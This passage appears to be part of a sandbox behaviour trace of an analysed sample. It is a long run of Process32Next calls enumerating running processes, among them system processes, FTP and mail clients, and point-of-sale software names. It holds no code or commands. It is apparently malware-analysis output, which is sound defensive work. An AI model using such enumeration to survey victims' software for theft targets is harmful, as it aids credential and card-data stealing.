szExeFile="wininit.exe")) returned 1 [0294.699] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.701] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0294.702] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0294.704] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0294.755] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0294.762] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.764] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.766] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.768] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.771] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.772] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.774] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.776] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0294.777] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0294.779] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0294.780] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.782] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0294.784] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0294.785] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0294.787] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0294.789] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.790] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0294.792] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0294.793] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0294.795] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0294.797] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0294.798] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0294.849] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0294.851] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0294.853] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0294.854] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0294.856] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0294.858] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0294.860] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0294.861] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0294.864] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0294.865] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0294.867] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0294.869] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0294.870] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0294.872] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0294.874] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0294.875] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0294.877] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0294.878] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0294.880] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0294.882] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0294.883] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0294.885] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0294.887] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0294.888] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0294.890] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0294.892] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0294.983] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0294.986] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0294.989] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0294.991] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0294.994] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0294.997] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0294.999] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0295.001] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0295.004] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0295.007] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0295.009] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0295.011] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0295.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0295.016] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0295.068] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0295.072] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0295.074] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0295.076] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0295.078] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0295.079] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0295.081] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0295.083] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0295.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0295.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0295.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0295.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0295.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0295.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0295.096] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0295.105] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, 